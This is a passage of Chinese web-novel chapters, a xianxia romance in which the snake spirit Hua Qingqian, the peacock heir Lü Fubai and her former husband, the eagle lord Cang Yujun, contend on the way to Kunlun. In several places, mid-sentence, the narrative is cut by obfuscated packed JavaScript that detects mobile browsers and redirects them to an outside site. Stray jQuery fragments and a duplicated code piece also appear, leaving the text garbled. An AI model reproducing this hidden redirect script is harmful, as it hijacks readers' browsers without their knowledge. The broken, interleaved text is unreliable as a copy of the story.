虽然他的倾心来得有些莫名其妙,但情之所至,或许并不需要理由,她积累的那些疑心,实在不应该加到他身上。 “好,我相信你。”她笑了笑说,“但你要知道,我本性比安安还狠心,若有朝一日,我发现你是在骗我——” “就算我修为不及你,势力不及你,我也一定会教你打心眼里后悔。” - 云层之上,西陆属下终于搜查到花清浅身边孔雀上神的情报,战战兢兢地呈给了苍御峻。 “呵,原来这就是吕浮白,大明王吕简的那个世子。”苍御峻鹰眸转了转,流露出一丝不屑。 他连吕简都看不起,对吕家这个躺了一千年的世子更是不放在眼里。 虽然这位世子有个鸟族中兴之光的称号,可在邪魔混战中,还不是第一个就被击倒了? 足见他实力也就那样,就是出身高贵些,容易迷惑人罢了。 属下翅膀未收,悬停在云层之上,低着眉目大气也不敢喘。一片寂静之中,忽然听到苍御峻发问:“你说说,若论外貌,本座与那吕浮白谁更好看些?” ——他与花清浅做了三十年夫妻,对她的心性到底有些了解。 她喜欢羽毛丰满的鸟族,喜欢高大俊朗、眉目端正的男子,要赢回她的心,首先要研究如何赢过吕浮白的外表。 “若、若单论姿貌英武,吕浮白自然不如尊上。”属下绞尽脑汁道:“否则当年,尊后何以对尊上一见钟情呢?” 他跟在尊上身边做副手,两人相遇的故事早就听了不下百遍,据他的经验,每次提起尊后对尊上如何钟情,尊上都会心情大好。 然而这一次,尊上却阴沉沉地摇了摇头。 “那吕浮白是只孔雀,姿色非同小可。”他不情不愿承认,“本座在星沙海蹉跎多年,恐怕在尊后眼里,姿容早已变得陌生沧桑,自然比不过那只孔雀。” 是了,尊后一向喜欢鸟族鲜亮的羽毛,吕浮白又恰恰是只该死的孔雀,她只是被他开屏的尾羽勾引到了而已。 只要自己仔细打扮一番、梳理好羽毛,赢回尊后的心,易如反掌。 苍御峻命属下变出一面水银镜,凑近了认真检查自己的两只赭黄色鹰眸。 确认一双眸子与从前一样炯炯有神、桀骜不驯,这张俊脸只要好好保养,肯定能把吕浮白比下去,他这才勉强松了口气。 “你给本座回宫,挑些材质好的华服过来,要与尊后服秩相配的。”他对着属下命令道,“再把白头翁族进贡的那柄蟹藻湾石梳拿来。” 只要他在外貌上下足功夫,将化人时的头发丝打扮到脚尖,原形时的每一根羽毛都舒展到蓬松柔软、闪闪发亮。 只要他将那个不知廉耻的孔雀上神比下去,让尊后知道,他才是她的天命姻缘。 她一定会回心转意的。 苍御峻一遍遍地这么想着。 - 翌日清晨,花清浅小院收拾停当,吕浮白买来早点,三人在凉亭内用了临行前最后一餐。 桌上不仅有花清浅爱吃的云吞面、孜然肉串与蜂蜜凉拌地禾角,还有糯米鸡、板栗糕与酱香炒饼,在玉京子的碟子里堆成一座小山。 “世子真是太上道了!”玉京子嘴里塞得满满当当,吃得一多,他又开始说话不过脑子: “清浅,你之前不是说要给我找姐夫吗,我看吕浮白就不错,你就按着他这样的找吧?” 花清浅吃下一枚云吞,朝他挑眉:“那我何必舍近求远,直接找他本人不行么。” “当然不行!”玉京子奇怪地皱眉,“人家吕浮白可是有心上人的,你怎么能横刀夺爱呢?” “他心上人早就成亲,不要他啦,他也不至于为了那一人守贞吧。”花清浅揶揄了吕浮白一句,喝完最后一口汤,起身去厨房洗碗。 “那他也不会这么快就——” 玉京子正说着,就见吕浮白紧跟花清浅站起身,对他平静地开口。 “我喜欢清浅。” 他看着玉京子的表情,顿了顿,加上一句: “早点习惯。” 玉京子在原地愣了好一会,才挥舞着手上的酱香炒饼大叫起来:“什么时候开始的——” “清浅怎么一副早就知道的样子——” “你们两个怎么能背着我暗渡陈仓,啊?啊啊啊啊——” 直到上路,玉京子仍旧沉浸在好世子变坏姐夫的震惊中,久久不能平复。 花清浅与吕浮白并肩行路,看他腰侧玉牌亮起,像是有什么消息传来,有些诧异:吕浮白一直独来独往,跟他父王也几乎没有交流,这还是她第一次见有人用玉牌联系他。 这种传音令牌可以控制发声范围,他没等她发问,直接点了点玉牌,一道年轻鸟族的声音顿时传入三人耳中。 “吕世子敬启: 近有南、北、东三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737676|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路人魔逼近昆仑,已渐形成合围之势,还请世子速速赶来支援! 昆仑一旦解困,我等必上报凤凰神君,将小混沌戒双爪供奉,不敢怠慢。 ——昆仑秋照,携军师周霖鹤敬上。” 听罢这则传音,花清浅秀眉微挑,看向长身玉立的黑衣世子。 “昨天我说要去昆仑鸟族,你就立刻联系上人了?” 他理所当然地点点头。 这也太贴心了些,花清浅暗自咂舌。 想他身为大明王世子,合该是别人处处揣摩迎合他的心意,可自从两人在慕城相遇,倒是他为她着想、悉心照顾她的时候更多。 要不是见过他不可作伪的孔雀族尾羽,她真要怀疑他是个冒充的世子。 她悄悄揪着他的衣袖,感叹道:“你是天生就这么会爱人吗?” “……不是。” 恰恰相反,他于情之一字最是愚笨,吃过生死轮回、痛彻心扉的教训,才总算学会了一点点诀窍。 吕浮白沉默半晌,温声答道:“是你教会我的。” “我?我何时教过你这种事,我怎么不知道。”花清浅以为他只是想恭维一下她,便也没当回事,又说: “来信的这位秋照,就是与傅玄一起打过仗的昆仑部女将军吧?你人脉还真广,连她都认识。” 看不得这两人偷偷说小话,玉京子缩着脑袋凑过来,硬挤在她与吕浮白中间:“什么秋照,这是谁呀,很有名吗?” “昆仑部最强的女将军,当然有名。”花清浅笑道。 她有些兴奋地跟他说起秋照的赫赫战功,正说到南极洲之战,忽然见吕浮白伸手递过来一样手镯似的圆环,不由住了口。 “这是什么?”她一面问,一面接过圆环,与玉京子一同打量着。 这圆环表面浅金,看着质感沉甸甸的,握在手里却如羽毛一般轻,通体没什么花纹雕饰,只在某处有浅浅一圈凸起。 吕浮白道:“这是鸟族护甲。” 取自质地最好的九天晴铁,用离火亲自锻造,炼成的护身金甲,本来想备做她升任蛇谷少主后的贺礼,却没能送得出去。 迟了五十一年,终于在今日送到了她手上。 花清浅按照他教的动作,掐了个简单的法诀,随着法力念动,圆环从凸起处打开,自动扣在她手腕,一刹那间,她只觉浑身气流静止,片刻后又复原如常。 “昆仑山遭人魔围困,危险重重,我未必能时刻护得住你。”吕浮白深深望进她眼底,“这副护身金甲可以防一切魔族兵刃,也不碍事,你戴在身上,叫我安心些。” 青逸山法宝神器众多,花清浅没有怀疑这护甲的来历,抬起手挥了挥:“这法宝真是太方便了,多谢。” 吕浮白看着她乖乖收下护甲,心里慰帖,却也有些无奈。 ——她不该这么容易相信他的。 这副护甲另有玄机,他怕她探测出来,还做了许多掩饰的法术,却没想到她测都不测,直接就扣在了身上。 长生界他教她的那些防范之术,显然都被她抛到了九霄云外。 这条小花蛇……实在太容易亲近别人了,他要是不护着,难保她还要被多少人骗。 62. 第62章 一行人快要到达昆仑脚下时,身着一身火红尊服的苍御峻出现在花清浅眼前。 玉京子被这个忽然出现的身影吓了一跳,嗖地躲到花清浅身后:“这是谁啊?” “这就是西陆妖尊。”花清浅无语地回答。 鹞鹰为鸟族霸主,大多身形高挑、五官俊朗,苍御峻更是其中翘楚。那双赭黄色眼瞳锐利逼人,面容如刀削斧凿般利落,稍微打扮打扮,便显得邪肆意气,英姿勃发。 更何况,他现在并不是简单的“打扮打扮”。 花清浅半张着樱唇,看着他头上那顶闪闪发亮的金冠,以及他衣角那些一看就是精心加上去的、繁复而累赘的玫瑰雕饰,一时说不出话。 “好看吗?”苍御峻将她的发愣看作是痴迷,语气居然有些忐忑:“本座专门为你打扮的。” 感觉到身边吕浮白拉了下她的袖口,花清浅当机立断:“不好看。我们要上山了,还请尊上让路。” “等等!”苍御峻脸色挫败,却还是硬生生挤出一个笑,从怀里掏出极光砂,献宝似的递给她: “我知道你埋怨我回来晚了,但我是为了去星沙海给你找极光砂,你被五色神光所伤,这砂可以治伤……” 花清浅觉得他莫名其妙,最后一面时,两人明明说好了一别两宽,他为什么又想着给她治伤? “我的伤早就好了,是大明王世子本人给我治好的,喏,就是我身边这位。”她当着他的面拉紧了吕浮白,任妖尊额角蹦出青筋也没有撒手。 顶着他怒火中烧的凛冽目光,她变本加厉地道: “尊上可能不晓得,我是条很有原则的小花蛇,既然答应了跟吕世子试一试,就要认认真真地投入,决不能跟第三方拉扯纠缠。” ——她可不是苍御峻那种人。 这句话她没有说出口,可苍御峻听到了。 她还在怪罪他之墨的事。 关于之墨,他是做错了,但他都已经知错,都已经不惜千百倍偿还弥补,她怎么就是揪着不放,连一个改过的机会都不给么? 苍御峻皱紧眉心,蜷缩起将颤未颤的指尖:“我那时识人不清,被那妖女蒙骗,但我没有跟她拉扯纠缠……我对你是一心一意的,清浅。”尊后,他在心里偷偷补充道。 这位妖尊所谓的一心一意,究竟是一心爱她,还是一心折磨她,花清浅已经懒得分辩了。 不想再同苍御峻废话,她看了眼吕浮白,孔雀世子会意,反手放出神光开道。 他手上并不是祖上传下来的五色神光,威力却似乎更为恐怖,饶是苍御峻反应极快,眨眼之间闪身退到路边,仍被燎焦了小半边翅膀。 眼见妖尊受伤,暗处潜伏的西陆部下纷纷现身,警惕环绕在苍御峻周围,固若金汤的阵型将他护住。 这个阵型还是当初花清浅帮忙练出来的,因此有几名属下习惯性向她俯首行礼,她颇为亲切地笑了笑:“反应速度不错,你们如今真是训练有素呀。” “清浅!”苍御峻见她对部下都和颜悦色,偏偏对他冷眼,心中憋屈更甚:“那只孔雀伤了我,你还要挽着他的手么?” 吕浮白瞥他一眼,淡淡道:“一时手滑,抱歉。” 这不是道歉,这是挑衅! 苍御峻深吸一口气,在属下的搀扶下站起身,重新拦在他们去路上,冷声开口: “好得很,大明王世子真是好大的威风!勾引我西陆尊后在先,出手打伤本座在后,如此新仇旧怨,本座定会与青逸山讨个道理!” 他借题发挥得太明显,花清浅忍无可忍:“苍御峻,你闹够了没有?” “从二十年前起,我就不是你的尊后了,之后我与何人相交干你何事?再说眼下,我们忙着赶路,你却挡在路中间不走,我让吕浮白开道有问题么?” 苍御峻气势顿收。 他抬起头,眸底满是委屈,因为极力压抑着情绪,喉咙变得艰涩而沙哑:“可、可是清浅,他不仅开了道,还把我的羽毛烧焦了。” 用了整整三个时辰精心打理的羽毛,现在被烧得焦黑,金光闪闪头冠下柔滑的发丝也被打散,他此刻形象一定又丑又狼狈,都是拜吕浮白所赐。 更叫他伤心的是,他都这样了,她还护着吕浮白! 他死死盯着她和吕浮白相牵的手,恨不得把那只碍眼的孔雀生吞活剥。 “那也是我让他出手的。”花清浅说,“你要怪就怪我,此事跟青逸山没有关系。” 苍御峻小声说:“我怎么舍得怪你。” “那就别闹了,让开!” “我没闹。”苍御峻一瞬不瞬地看着她,神色执拗,“清浅,你知道我的脾气,我已经拿定了主意,绝不会让青逸山好过。” 吕浮白微微一哂,说道:“你大可以试试。” 花清浅头疼地叹了口气。吕浮白语气这么轻松,估计觉得这苍御峻好歹是西陆之尊,做事不会如此儿戏。 可他不了解这位妖尊,苍御峻心性就是幼稚至极,说干就干,偏他还十分能打,要是真被他举西陆之力攻上青逸山,那就糟了。 果然,苍御峻被他这句话激怒,眸子里险些溅出火星子:“本座正好多年没有练兵了——” 花清浅抬起手打断他,“你直接说吧,要怎样才肯善罢甘休?” “……我,我要你过来,听我说几句话。”苍御峻抿着唇,看她要牵着吕浮白过来,又忙补充道:“只要你一个人,我要与你单独说,不许带他。” 花清浅答应了,吕浮白下意识跟着她上前,被她按着手推了回去。 “没事的,相信我。”她说,“就是说几句话而已,我有护身金甲,他伤不了我。” 不等吕浮白阻拦,她径直抬步,轻巧绕过防御阵的布置,走到苍御峻身边:“想说什么,说吧。” 苍御峻先画了道结界,让外面听不到两人的交谈。 “尊上有什么话,这般见不得人——” 苍御峻从怀中捧出一根几近褪色的绸带,花清浅看清那根绸带,声音戛然而止。 “看来你还记得这个信物。”苍御峻专注地看着她,语气上扬,显然欣喜难以自制:“那你还记不记得,在那一天里,你答应了我什么?” 花清浅在原地久久失神。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741423|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我算错账了。”她喃喃道,心中涌起一股对吕浮白的歉疚,“我们还没两清……” 她还欠他,三个愿望。 - 西陆历六百二十七年三月二十一日,是花清浅与苍御峻交易里三十年之期应到的日子。 却也是妖尊的六百岁诞辰。 庆生贺仪紧锣密鼓,花清浅忙得脚不沾地,找不到时间提醒他交易的事,便想着翌日再说。 苍御峻像是特别高兴一般,他喝了很多酒,破天荒跑到后殿,口齿不清同她提起:“尊后……莫要、莫要忧愁,就算没有交易,本座也会助你拿到魂片的。” “多谢尊上。” “你我是夫妻,说、说什么谢字。”花清浅扯了扯嘴角,听他紧接着沉沉问道:“尊后,近日西陆雷云越来越多,你可知道缘由?” 那时她已经想明白了,复活玉京子乃逆天之举,那些天雷是天道给她的警告。 是她带来雷云,连累了西陆,故而乍然听到苍御峻这么问,她立刻俯身谢罪: “……我怀逆天之心,但至今还未有行动,因此天雷并未真正落下。尊上放心,我拿到魂片马上就走,离这里远远的,保证天雷不会伤到西陆分毫——” 苍御峻却气定神闲地笑起来。 “尊后,你傻啊?”他一双赭黄色鹰眸真是罪大恶极,这样专注盯着她的时候,盛满了温柔宠溺,很容易让人以为他情根深种:“有本座在,怎会让你那般狼狈?” “天道算个什么,对付它法子多的是。只要,只要尊后答应本座三个愿望,本座这就教你逃脱天罚。” 花清浅说:“好。什么愿望?” 按照妖尊那性子,她本以为他会一口气说完,不料他自顾自红了脸,像是实在难以启齿,憋了好半天才憋出一句:“……本座还是先教你,如何收集功德罢。” 那日最后,他也没说是哪三个愿望,只说要留到明年,还扯走一截她用来包裹聚灵石的绸带,作为信物。 - 随她回忆起往事,苍御峻笑容变得惨淡了些。 原本他的三个愿望,一是要她留在西陆,二是要她为他梳一次羽毛,三是要她变成原形,缠在他胸口睡一觉。 成婚三十年,两人未曾亲近过,表面上是他为之墨守身,避花清浅如洪水猛兽,在星沙海时他才后知后觉反应过来,自己是害怕了。 他其实是想与她亲近的,却又怕她为了弟弟委身于他。所以那三个愿望,只有在救出她弟弟之后,他才敢说。 青逸山一战后,她走得太急,他又被她漠然的态度伤了心,气血上头,才没来得及说出口。 如今好不容易翻起旧事,苍御峻辩解的话已经到了嘴边,可是他看了眼花清浅的脸色,又低下头。 ——她定然不会相信他的。 这不怪她。 毕竟,从前连他自己都不会相信,他会对她在意纠结到这个地步。 思绪千回百转,一向肆意横行的西陆妖尊破天荒斟酌了词句,说道: “现在我的第一个愿望,是想跟在你身后,你不许赶我走。” 63. 第63章 花清浅诧异地看向苍御峻。 当初她诚心应下他三个愿望,言出法随,不可更改,他拿着这条绸带,相当于拿捏着她的命脉。 他应当知道,此刻无论提出什么要求,她都只有照办的份。 但他……居然没有为难她。 看他周身气息发沉,神情认真,没有出尔反尔的意思,花清浅立刻顺坡下驴: “行,尊上愿意跟着我们,那就跟着。正好昆仑即将与人魔开战,此地多几个西陆将士,也能助昆仑鸟族一臂之力。” 苍御峻煞白的脸上终于有了些血色。 他勾起唇角,撤了结界,正要说些什么,却见她在结界撤下的第一时间望向对面那只孔雀,两人视线在空中交汇勾连,平白生出几分缠绵的意味。 她明明还站在他的身边,心却似乎已经飘远了。 苍御峻捏住绸带的指尖紧了紧,有些难过,更多的是不知所措。 ——他从没有想过,再找到花清浅时,两人会是这般情状。 星沙海内不知春秋,他一心为她取极光砂,一心以为她会在西陆宫中等他,一心以为等他解开所有误会、澄清他的心意,他们就会重归于好。 那双暖棕色水眸,会比从前更含情脉脉地瞧着他,仿佛他是天底下最幸运的、唯一取得她青睐的男子。 他不知道花清浅会离开西陆,也不知道如何把她哄回来。打扮外表的把戏完全没有奏效,有那只孔雀在,她眼里根本看不到别人。 胸腔里情绪翻涌,他平复了很久,才张开羽翼挡住那只孔雀的视线,低声说道:“收敛一点,清浅。” “我不想你伤心,没有直接让你和他分开,但你要是再和他这么亲近——” “我不保证,我还能再忍多久。” “……”他手里还捏有两个愿望,花清浅没敢同他顶嘴,急促地行了个礼,便忙告辞回到对面。 苍御峻看着她有些仓皇的背影,仿佛觉得讽刺至极,冷笑出声。 为了讨尊后欢心,他准备了许多礼物,她喜欢吃的荆棘果糕,喜欢穿的玫瑰华衣,还有喜欢摆在眼前看热闹的名贵宝石。 尊后却已经不在乎了。 他的尊后,曾经他去征战,必在后方为他打磨铠甲、生怕他受伤的尊后。 现在烦透了他,对他退避三舍,被迫与他接触时,言行举止处处疏远,又恨又怕。 无情得像是……从没有爱过他一样。 见尊上一张俊脸重又变得毫无血色,西陆部下拿出蟹藻湾石梳,想为他重新梳理翅膀羽毛,他心灰意懒地垂眸,摆了摆手。 “打理什么羽毛?她又不喜欢。”他声音沙哑,近乎自虐地看向她与吕浮白并肩的身影,“你们看不出来吗,现在的尊后,眼里何曾有本座。” “她连我看都不看,本座再费心打扮,有什么意义?!” 部下唯唯诺诺,没有一人敢接话,当下天地肃静,只有簌簌风声拂过山道。 山道两旁草木郁郁葱葱,唯独近处草叶被烧得萧瑟凋零,苍御峻看着看着,忽然扯了扯嘴角:“这单个伶仃的草,也不知是应了谁的景。” 这话更没人敢接,过了良久,花清浅与吕浮白一行的背影彻底走远,才有一位部下战战兢兢地伸出手。 “尊、尊上。”他说,“属下有一计,或能赢回尊后芳心……” - 昆仑山道不算窄,花清浅得以和吕浮白稍稍拉开距离,不再紧贴着一起走。 “那妖尊跟你说了什么?”玉京子凑到她身边,开口问道,“他不是很看不惯你吗,怎么又来找你,是不是要你把带走的西陆宝贝还回去?”离开西陆时,花清浅带走了许多摆件、宝石、法器之类,险些把整座尊后后殿搬空,他听她说起过。 花清浅摇了摇头。 “那他为什么找你?” “……因为一桩旧事。”花清浅叹着气,将这桩被她抛在脑后的承诺告诉了两人。 吕浮白听得皱起眉:“那妖尊肆意妄为,谁知道他下一个愿望是什么,你何必纵容他?” “毕竟是我当初自己答应的嘛。虽然没有签订契约,但已经给了信物,若不践诺,我怕天道记我一笔。” “那就让我——” “停!我欠你的已经够多了,你别想着把功德挪给我。”花清浅知道他要说什么,干脆没给他说完的机会:“让我自己解决这件事,行吗?我保证,不会牵连到你的,也不会牵连到我们的关系。” 吕浮白淡淡反问:“若他下一个愿望就是让你离开我,你怎么办。” 他双目半垂,无奈地看着她,语气很像之前在京师时,他问她有关东方容楚的事,但没有当时一碰就碎的绝望,多了几分沉稳和把握。 像是登堂入室的正宫夫人,对自己的地位越来越有安全感的样子。 花清浅察觉到他语气的变化,忽然反应过来,他不会从京师起就起念头了吧? “我当然不会让他得逞。”她观察着他的神色,柔声安抚道,“我已经想好怎么办了,不会失他的约,也绝对不会负了你。” 吕浮白紧绷的眉心好似放松了些,她乘胜追击,趁着几人拐过一道弯,应该已经出了苍御峻的视线范围,伸手摸了摸他的眉弓: “放心啦,你要相信我,我可是你们凤凰神君教出来的,厉害得很呢,才不会那么容易被人拿捏。” 他看着她神采奕奕的模样,终于露出一丝笑意。 “嗯,我信你这一次。”他温声说道。 “一次怎么够?你要信我十次、百次、一千次,今后的每一次——” 有时候她说话真够肉麻的,玉京子翻了个白眼,让她声音别那么软,像是半化的麦芽糖陷进甜棉花堆里似的,腻得他鸡皮疙瘩都出来了。 花清浅没搭理他,只冲着吕浮白更过分地撒娇,三人打打闹闹走了一阵,拐过最后一段山道,眼前豁然开朗。 此地已到山顶,山道两边立着石柱,上边大字在阳光下闪闪发亮:【昆仑重地,不得擅闯。】 字体配色很是璀璨,把人眼睛刺得生疼。玉京子脱口而出:“这字好丑——” “不会说话就把嘴闭上。”花清浅瞪他道,“昆仑鸟族喜欢闪闪发亮的物件,这字在人家看来是很美的,你在大门口骂人家门面丑,不要命啦?” 玉京子揉着眼睛嘟囔:“我又不是你,哪能这么渊博,连旁门左道的鸟族特性都一清二楚……” () { $(''.inform'').remove(); $(''#content'').append('' 这些都是傅玄告诉花清浅的,潜移默化之下,她觉得鸟族之事都是常识,算不上旁门左道,故而恨铁不成钢地摇了摇头,再三叮嘱他谨言慎行。 那边吕浮白宠溺看她一眼,缓步上前,一道神力打入石柱某处法门,原本荒凉的石柱后方瞬间露出真容。 “记得傅玄说过,昆仑山防御布置精良,乃是鸟族防御的典型。”花清浅赞叹道,“果然不假。” 只见最外围是一座隆重庄严的门牌,其下无支点,飘悬在空中,颇有仙家气韵。门牌上附三重结界,结界里护着一圈防御台,燃着灵火严阵以待。 防御台后,应该就是昆仑鸟族平日里活动的街巷、集市,俨然自成一个小镇。再往中央放眼望去,几栋鸟族特有的巢穴式楼阁高耸入云,正有鸟族在边上飞进飞出。 花清浅知道,这些楼阁都是依山而建,与昆仑的灵脉汇为一体。山体不倒,楼台不破,因而大战之时,没有战力的老弱妇孺便会躲进这些高楼,保全性命。 她与玉京子仰头观察着昆仑布置之时,最近的那座防御台上灵火稍熄,一位英姿飒爽的青甲女将从中走出,身后跟着一位羽扇纶巾打扮的男子,满面笑容朝几人迎过来。 “吕世子,别来无恙!”青甲女将径直朝吕浮白招呼道,“我昆仑与青逸山素来交好,只是近日杂事堆案,竟不知世子已从沉睡中醒来,罪过罪过,还请世子见谅!” 女将眉宇凛冽,气场强悍,身上铠甲青色花纹便于隐匿,又有青鸟气息,花清浅猜想,这位应该就是秋照将军了。 果然就见吕浮白冲她微一点头,介绍道: “这是花蛇清浅,曾任蛇谷西谷少君。清浅,这位就是秋照将军,现任昆仑部主帅。” “秋将军,久仰大名。” 花清浅行礼行到一半,却被秋照扶住,她疑惑抬眼,见到秋照瞪大了眼睛,一动不动地看着她,好半天后才冒出一句:“这么漂亮的花蛇,还刚好叫清浅——” 她颤巍巍地握着花清浅的手腕问道,“你、你可认识凤凰神君?” “……认识。” “你就是神君那位亡妻?!老天爷奶奶,神君真的练成了起死回生之术么?”秋照倒吸一口冷气,更凑近来观察她,“居然一点也不像死过的样子,我去,这美人皮骨真是牛逼啊!” 要不是她身后羽扇男子使劲咳嗽几下,将她拽了回去,她恨不得贴在花清浅身上好好研究透彻。 刚才出来迎接的时候,这位秋照将军言辞有礼,花清浅还以为她是个正经人。如今看来…… 呃,那份文绉绉的词儿估计是别人给她写好,她提前背过来凑场面的。 花清浅一面想着,一面拽过玉京子,让他赶紧和秋照见礼,想要把她的注意力从傅玄身上引开。 三人来意清楚,身份也确认完毕,秋照领着他们进入昆仑。 走了几步,大概是后方羽扇男子脸上的督促之意太明显,秋照摸着鼻子说道: “本将军跟粗人混惯了,不是故意冒犯,姑娘你担待一下……哦对了,都忘了跟你们说,这位是本将军的军师,周霖鹤。” “周军师是我从白鹤族抢来的,现在是我们昆仑山的人了!” 64. 第64章 这个年头,强抢雄鸟也能堂而皇之说出来么? 花清浅心中暗暗感慨,看来她在凡间的这些年,鸟族民风变得彪悍了许多啊。 “秋将军又说笑了。”周霖鹤无奈开口,向几人解释:“诸位莫要误会,是白鹤族先将我除名,逐出族群,秋将军见我无处可去,这才将我收留在此的。” 秋照小声嘀咕:“你周先生天下第一谋士的名号摆在这里,哪会沦落到无处可去的地步?本来就是我一马当先,把你抢回来的嘛!” 她还要再说几句,被周霖鹤不赞同地看了一眼,这才不吱声了。 玉京子余光瞄着这两人,发现威风凛凛的青鸟将军居然对一只文弱白鹤百依百顺,心下颇为好玩,但也谨记着花清浅的吩咐,没敢贸然打趣。 “秋将军。”几人一路走过山顶结界的军堡,花清浅看到屋内悬挂的千里镜,不由问道:“这些千里镜是巡查周边情况的么?” 秋照点点头。 花清浅脸色微妙:这么说来,方才他们一行与苍御峻在山下狭路相逢,秋照他们在山顶也是看得清清楚楚? 在秋照眼里,她身为傅玄亡妻,又是跟西陆妖尊拉拉扯扯,又是跟吕浮白你侬我侬…… ——好想解释。 ——但这种事本来就会越描越黑,算了,累了,毁灭吧。 她面无表情地想。 那边周霖鹤又轻咳一声,花清浅听着只觉得他喉咙有问题,但秋照显然听懂了。她转向花清浅,很真诚地道: “刚才本将军看见那西陆妖尊为难你们,都已经预备好了人手,一旦吕世子打不过,就立刻把你们救下来——没想到吕世子法力大进,居然都能一招击退妖尊了。” “看来世子沉睡千年,也是因祸得福,自有机缘啊?” “咳咳,扯远了,总之我们没有贸然行动,因为马上就是人魔大战,昆仑实在没必要跟妖尊为敌,希望姑娘不要因此怪罪。” 花清浅忙表示没什么,她不想多说苍御峻,转移话题道:“恕我冒犯,但我看原来昆仑鸟族遍布整片群山,如今却独独聚在山顶,是因为将军的授意么?” 秋照嗯了一声,“姑娘好眼力。” “如此率先收缩阵型,将军是觉得人魔这一次来者不善?”花清浅试探道。 可据她所知,秋照最擅打攻防战,场面越大,青鸟越能发挥。最著名的南极洲一战,便是汹汹恶兽六面来攻,秋将军拉长战线来守,整个包围圈长达八千余里,硬是没叫恶兽闯进圈内一步。 怎么换成眼下的昆仑,据传前来人魔还不足南极洲恶兽数量的十分之一,她却谨慎到了如此程度? “不仅仅是来者不善。”提到人魔,秋照脸色变得凝重起来,此刻她正好领着他们来到备好的下榻之处,在正厅坐下来,面容严肃道: “这人魔不是普通魔族,虽然法力不高,但却残存人性,诡计多端。他们此来围困昆仑,表面上是挑衅天界,但本将军总觉得没那么简单。” “——本将军总觉得,他们也是冲着小混沌戒来的。” 这个结论没有任何依据,只是秋照千锤百炼中训练出的直觉,但花清浅立刻就信了,并且联想到了什么,心头一紧。 “小混沌戒关系重大,本将军只能采取最保守的措施,收缩战线,全力保护神器。”没有察觉到她的异样,秋照继续说道: “本来我想直接向神君求助的,可他老人家为亡妻闭关多日,至今神宫大门仍然紧闭,敲都敲不响,我也只好另做打算。” 谢天谢地,她对神君闭关之事一带而过,重点讲了讲昆仑眼下的境地。 在向吕浮白求援以前,她已将昆仑旧日盟友唤了个遍,只是当今魔族重新猖獗,战乱四起,别处鸟族也是焦头烂额,难以分神支援。 “想着吕世子一人恐不顶事,周先生都开始撺掇我联姻结盟了。”秋照爽朗笑道,“还好多年不见,吕世子修为大增,光是在山下的那一招,我看就能敌千军万马。这次昆仑肯定保得住!” 看她对吕浮白的实力很是惊异,以至于反复强调,花清浅倒是对此没有多大认知。 在她的印象里,吕浮白自打第一次露面就是法力深厚、神鬼莫测的存在,似乎生来就是这般厉害。久而久之,她习惯成自然,甚至都忘了他曾被邪魔击伤,沉睡了近一千年。 “秋将军谬赞。”吕浮白语气平淡地道。 花清浅来了兴致,笑着打趣他: “你也太谦虚啦,人家秋将军肯定不会说空话,你修为肯定比从前进益多了。但这一千年你不是在沉睡吗,如何法力大涨的,难道你在梦里得了什么奇遇?” 闻言,秋照探寻的目光也悄然望了过来。 “……没有什么奇遇。”吕浮白动作似是一僵,低头说道,“只是醒来的时候,忽然领悟了族内流传的某道密法而已。” 机缘所至,修道之人在某一刻豁然开朗,得悟功法诀窍,也是常事。 不过这份机缘不可复制,且他说了那是孔雀族内密法,当然不会传给外人,秋照脸色当下微微一暗,站起身来。 “按照周先生的估计,再有两日,昆仑便要有一场血战。”她叹了口气,“我一人守山顾不过来,护持小混沌戒还得多多仰仗你们了。” “前院有一立柱,几位有什么想要的,用灵力打入其中,我立刻就来。你们一路上辛苦了,就在这座小楼里休息吧,我先告辞了。”她最后说道。 像是掐好了点似的,她话音刚落,就有几位仕女端着几盘果蔬、美酒飘了进来,皆是步法轻盈,酒香萦绕,玉京子深吸一口气,看着已然醉了。 秋照朝几人颔首,转身离开,路过花清浅时,微侧过头看了她一眼。 花清浅会意,跟在她身后走了出去。 - 一走出门,秋照便寻了个借口把周霖鹤支走,待原地只剩她与花清浅二人,这才放柔了声音问道: “姑娘好端端活在世上,神君像是还不知道?” 花清浅就知道她要问这个。 身为鸟族后辈,对于凤凰老祖宗的崇敬几乎是刻在骨子里的,一开始的吕浮白如是,她自然也如是。< () { $(''.inform'').remove(); $(''#content'').append('' p>她早有准备地点了点头,说:“嗯,傅玄不知道,我也不想让他知道。” 瞧着她神色晦暗不明,秋照又想起先前六界传闻,小花蛇向神君求偶有多轰轰烈烈,如今她要借小混沌戒,却宁可九死一生远上昆仑,也不愿见神君一面,其中曲折心酸,可想而知。 “唉,方才是我太激动了,直把姑娘唤做神君亡妻,实在不好意思。”她更加小心翼翼地道,“不过你放心,我会叮嘱周先生一句,关于你的消息,半个字也不会透露给神君他老人家。” 同为鸟族,秋照保守秘密可比吕浮白爽快多了。花清浅不由好奇:“秋将军,恕我直言,你我非亲非故,傅玄与你却算熟识,你为何如此偏帮我?” “若我说因为同姑娘一见如故,姑娘信么?” 见花清浅莞尔一笑,秋照也笑了笑,说道:“其实是因为我的心境,与五十年前的姑娘多少有些同病相怜了。” 花清浅愣住:“你也喜欢傅玄?” “什么?!没有没有,当然不是,本将军是想求偶,又不是想自焚!”秋照疯狂摆手,意识到说错话后又赶紧捂住嘴,“姑娘你别误会,我、我不是说你啊。” 